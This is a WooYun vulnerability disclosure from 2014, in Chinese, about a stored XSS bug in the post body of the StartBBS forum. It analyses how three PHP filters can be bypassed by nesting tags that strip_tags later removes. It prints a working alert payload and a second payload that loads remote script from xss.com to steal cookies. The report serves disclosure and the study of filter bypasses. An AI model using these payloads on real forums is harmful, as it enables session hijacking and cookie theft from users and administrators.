当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060359

漏洞标题:StartBBS开源轻论坛发帖正文处存储型XSS

相关厂商:startbbs.com

漏洞作者: phith0n

提交时间:2014-05-12 11:44

修复时间:2014-08-07 11:46

公开时间:2014-08-07 11:46

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-12: 细节已通知厂商并且等待厂商处理中
2014-05-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-11: 细节向核心白帽子及相关领域专家公开
2014-07-21: 细节向普通白帽子公开
2014-07-31: 细节向实习白帽子公开
2014-08-07: 细节向公众公开

简要描述:

来一个发帖正文处储存型xss,直接触发,不需用户交互。可盲打管理以及所有用户信息。
StartBBS虽然不算大厂商,但自己在挖洞时的分析使我又学到了很多,又学到了一种绕过技巧。依旧是老问题,富文本xss,很容易出现问题。而且这个位置也很重要,可能有些xss在用户资料或其他位置,但这个xss位置在发帖正文处,如果盲打的话危害很大。
或许能够蠕动起来吧,谁知道呢~
一些其他案例参考:http://www.leavesongs.com/PENETRATION/xss-fliter-bypass.html

详细说明:

  startbbs在防御xss上还是下了一些功夫的,但是经常姿势不对,其实开发者可以向一些白帽子咨询一下,也许能得到更好的方法。
  默认安装好startbbs后发帖位置是没有编辑器的。我们来到任意一个发帖的页面,可以看到有一个“图片/附件”按钮,点击可以上传图片。

005.jpg


  随便上传一个图片,我发现图片地址直接出现在了编辑框中。再结合下面那段话“可以直接粘贴链接和图片地址”,我猜测stratbbs在后台会将我的图片地址用正则匹配出现,并加入<img src=”xxx”>这种标签中,最后显示出来。
  类似于markdown,但又比markdown低级一些。想到这里我就又想到,这样的话如果我用双引号将src属性闭合掉,后面就能够加javascript事件了。这样我的输入中不会含有<、>,也没有任何html标签。
  我带着这个想法开始看代码。
  app/controllers/forum.php 210行开始:

$data = array(
'title' => $this->input->post ('title',true),
'content' => clearxss($this->input->post ('content')),
'cid' => $cid,
'uid' => $uid,
'addtime' => time(),
'updatetime' => time(),
'lastreply' => time(),
'views' => 0,
'ord'=>time()
);
//开启审核时
if($this->config->item('is_approve')=='on'){
$data['is_hidden'] = 1;
}
//无编辑器时的处理
if($this->config->item('show_editor')=='off'){
$data['content'] = filter_check($data['content']);
$this->load->helper('format_content');
$data['content'] = format_content($data['content']);

}


  我们输入的数据经过了三个处理:
  01 -> 'content' => clearxss($this->input->post ('content'))
  02 -> $data['content'] = filter_check($data['content']);
  03 -> $data['content'] = format_content($data['content']);
  
  第一个clearxss,是一个国内cms中常见的处理富文本xss的xss fliter,我也曾经绕过过(详见http://www.leavesongs.com/PENETRATION/xss-fliter-bypass.html )。其内容如下:

006.jpg


  过滤了很多属性,基本没有可以触发xss的属性了。不过因为startbbs代码的特殊,让这里的fliter形同虚设。
  这个之后会讲到。
  第二个filter_check函数,具体代码如下:

007.jpg


  主要作用是处理<pre>标签,转义代码区域。不过注意一个操作:strip_tags(php中,strip_tags这个函数是用来清楚html标签的)。这个函数很重要,给我的xss帮了大忙。
  第三个format_content函数,作用是正则匹配。代码比较多我就不贴了,就是我之前说的,匹配看看某某地址是否是http://xxxx/xxx.gif等,如果是说明是图片文件,就加入img标签中。它匹配图片或链接的正则是这样:
  preg_match_all("#(^|\s|\()((http(s?)://)|(www\.))(\w+[^\s\)\<]+)#i", $str, $matches)
  并没有处理双引号,我隐隐看到了xss的可能。但仔细观察这个正则,发现当其匹配到空白符、“)”或“<”时就不匹配了。<我们不需要,空白符可以用“/”代替,但“)”绝对不能少啊……javascript中如果没有圆括号,等于说不能执行函数啊,基本就废了。
  说完了这三个函数,我再来理一遍思路。首先,我想通过输入一个类似于

  http://xxx/” onerror=”alert(/xss/)” name=”.jpg


  这样的畸形url,让后端认为是一个图片地址,然后放入<img src=”xxx”>标签中,变成这样:

  <img src=”http://xxx/” onerror=”alert(/xss/)” name=”.jpg” />


  从而触发xss。但遇到几个难点:
  01.clearxss函数将onerror处理成了on<x>error
  02.正则匹配到)就结束了,没有圆括号,onerror=”alert(/xx/”是会出错的。
  为了解决第二个问题,我理所当然地想到用html字符实体代替),“)”的html实体是&#41;。但在clearxss函数中,是会处理这个html实体的。会将html实体转换成原来的字符。
  我曾经用嵌套来绕过这一限制,当时用的方法是&#&#52;1;,让clearxss先把&#52;转换成4,在正好与&#41;组成了一个完整的html实体。但可惜的是,当时要转换的不是&#41;。具体说起来比较麻烦,但在我们这里,转换&#41;用嵌套是不行的。具体为什么不行,读者可以仔细研读clearxss函数,就自然清楚了。
  我们回到第二个filter_check函数,里面有一个很重要的操作,调用了strip_tags。说到这里可能有的同学已经懂了。strip_tags会清除所有html代码,比如<x>,比如<div></div>。那么现在,我们的payload就好构造了,在onerror中加一个<div></div>或其他什么标签,绕过正则,而之后又会被清除掉。
  而虽然clearxss会在onerror里加<x>,但我们又通过strip_tags清除了这个<x>。等于没加。
  关于清除<x>这个事,大家可以做个试验。

  <?php
  $a = '123<x>456';
  echo strip_tags($a);
  $a = '<img abc<x>def />';
  echo strip_tags($a, '<img>');
  ?>


  这个代码会输出什么?我最后发现输出的是

123456<img abcxdef />


  前面一个<x>全部被清除了,而在img标签中的<x>最后留下了一个x。这就是二者的差别。所以我们不能直接输入<img src=# onerror=alert(1)>,这样我们最后输出的是<img src=# onxerror=alert(1)>,onerror中间多一个x,还是没法执行。

漏洞证明:

  说了半天思路,我直接给payload吧:

http://x"/onerror="alert(/xss/&#<div></div>41;"/name=".jpg


  将这个poc写在帖子里发出去,就能看到弹窗了:

004.jpg


  再来个加载远程js的exp:

http://x"/onerror="$.get&#<div></div>83;cript('http://xss.com/9WfKui'&#<div></div>41;"/name=".jpg


  可以看到平台已经接收到cookie了:

008.jpg


  最后说一下,Startbbs虽然不是大厂商,但自己在挖洞时的分析使我又学到了很多。依旧是老问题,富文本xss,很容易出现问题。而且这个位置也很重要,可能有些xss在用户资料或其他位置,但这个xss位置在发帖正文处,如果盲打的话危害很大。或许能够蠕动起来吧,谁知道呢~

修复方案:

使用urlencode将url进行编码以后放入img标签中。或者过滤双引号。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-07 11:46

厂商回复:

最新状态:

暂无